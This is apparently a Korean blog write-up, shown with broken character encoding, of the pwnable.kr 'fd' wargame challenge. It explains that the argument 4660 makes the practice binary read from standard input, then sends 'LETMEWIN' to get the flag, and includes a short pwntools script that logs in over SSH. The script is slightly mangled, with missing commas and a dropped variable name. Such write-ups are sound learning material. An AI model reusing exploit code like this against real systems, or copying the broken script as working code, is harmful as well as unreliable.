Jastes 2022. 11. 19. 21:15

fd_WriteUp

๋ณด์‹œ๋ฉด.. ์—„๋งˆ! ๋ฆฌ๋ˆ…์Šค ํŒŒ์ผ ๋””์Šคํฌ๋ฆฝํ„ฐ(fd)์— ๋Œ€ํ•˜์—ฌ ์•Œ์•„๋ณด๊ณ  ์‹ถ์–ด์š”~ ๋ผ๊ณ  ํ•˜๋„ค์š”(ํŒจ๋“œ๋ฆฝ..)
ssh๋กœ ์—ฐ๊ฒฐํ•ด์„œ ํ•˜๋Š”๊ฑด๋ฐ ํŒŒ์ผ ๋ฐ›์•„์„œ ํ•˜๋Š”๊ฒŒ ์ข‹๊ฒ ์ฃ ? ๊ทธ๋ž˜์„œ ๋ฐ›๋Š” ๋ฐฉ์‹์ด SCP๋กœ์จ..

scp command ํ™œ์šฉ

 

๋ฆฌ๋ˆ…์Šค scp ์‚ฌ์šฉ๋ฒ• - ์ œํƒ€์œ„ํ‚ค

๋‹ค์Œ ๋ฌธ์ž์—ด ํฌํ•จ...

zetawiki.com

์œ„ ๋ช…๋ น์–ด๋‚˜ ์ด๋ฏธ์ง€๋ฅผ ๋ณด์‹œ๊ณ  ํ•˜์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค..
(์ฐธ๊ณ ๋กœ ํŒŒ์ผ ์ „์ฒด๋ฅผ ๋ฐ›๋Š”๊ฒŒ.. ์ž˜ ์•ˆ๋˜์„œ ๋”ฐ๋กœ ๋”ฐ๋กœ ํ–ˆ๋Š”๋ฐ ใ… )

ํ•ด๋‹น C file์„ ์‚ดํŽด๋ณด๋ฉด.. 6๋ฒˆ์งธ๋ฅผ ๋ณด์‹œ๋ฉด ์ธ์ž์—์„œ 2๊ฐœ ์ด์ƒ์œผ๋กœ ์•ˆ ๋„ฃ์œผ๋ฉด ์—๋Ÿฌ๋ฅผ ํ† ํ•˜๊ณ ..
๊ทธ๋Ÿฌ๋ฏ€๋กœ argv์— ํ•˜๋‚˜๋งŒ ๋„ฃ์Šต๋‹ˆ๋‹ค(์–ด์งœํ”ผ argv[1]์€ path์ด๊ธฐ ๋•Œ๋ฌธ์ด์ฃ )

len์—์„œ read์˜ ํ•จ์ˆ˜๋ฅผ ์ž…๋ ฅํ•  ๊ฑฐ๊ธฐ์— read์˜ fd๋Š” 0์ด์—ฌ์•ผ ์ž…๋ ฅ์„ ๋ฐ›์Šต๋‹ˆ๋‹ค.
์—ฌ๊ธฐ์„œ fd(atoi๋กœ ascii to integer)๋กœ ํ•˜๊ธฐ์— str๋กœ ๋ณด๋‚ด๊ณ .. ์ดํ›„๋Š” buf์— ๋“ค์–ด๊ฐ€๋‹ˆ๊นŒ ๋ญ

๊ทธ๋Ÿฌ๋ฏ€๋กœ ์ฒซ๋ฒˆ์งธ ์ธ์ž์— 0x1234(4660)์œผ๋กœ ํ•ด์•ผ์ง€ 0์œผ๋กœ fd๋ฅผ ์ž…๋ ฅ๋ฐ›์Šต๋‹ˆ๋‹ค.
๊ทธ๋ฆฌ๊ณ  ์ž…๋ ฅ์„ ํ•˜๋Š”๋ฐ buf์—.. 13๋ฒˆ์งธ ์ค„์—์„œ LETMEWIN๊ณผ ๋น„๊ตํ•˜๋ฏ€๋กœ ๋งž์ถฐ์„œ ๋„ฃ์–ด์ค๋‹ˆ๋‹ค.
(์ด์ •๋„๋กœ ๊ฐ„๋‹จํ•œ ๊ตฌ์กฐ์ด๋ฏ€๋กœ ์ต์Šค ์ฝ”๋“œ๋ฅผ ์•ˆ ์ž‘์„ฑํ•ด๋„ ๋˜๊ธดํ•œ๋ฐ..)

ํ•˜๋„ Dreamhackํ•ด์„œ flag๊ฐ€ ๋‚˜์˜จ์ง€๋„ ๋ชฐ๋ž์–ด์š” ใ… 


Exploit code

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
 
'''Connection pwnable.kr server'''
server = ssh('fd''pwnable.kr'2222'guest')
= server.process(['./fd'str(4660)]) #argv(for list) input
#context.log_level = 'debug'
 
p.sendline('LETMEWIN')
 
p.interactive()
 
cs

์˜ ๊ตฌ์กฐ๋กœ์จ ์ €ํฌ๋Š” user, host, port, password๋งŒ ์‚ฌ์šฉ๋˜๋ฏ€๋กœ ํ•ด๋‹น ๋ฐฉ์‹์œผ๋กœ ์ž…๋ ฅ
process ๋ถ€๋ถ„์€ ์ €ํฌ๊ฐ€ ์ธ์ž๋ฅผ ํ•˜๋‚˜ ๋„ฃ์–ด์•ผํ•˜๋ฏ€๋กœ...

์œ„์™€ ๊ฐ™์ด ๋ฐฐ์—ด๋กœ ๋„ฃ์–ด์„œ ํ•˜๋„ค์š”

์ด๊ฑด.. ์„ค๋ช…์•ˆํ•ด๋„ ๋˜๊ฒ ์ฃ ?


์ฐธ๊ณ  ์ž๋ฃŒ

 

pwnlib.tubes.ssh — SSH — pwntools 4.8.0 documentation

A new SSH channel, or a path to a script if run=False.

docs.pwntools.com

์ฐธ๊ณ  ์ด๋ฏธ์ง€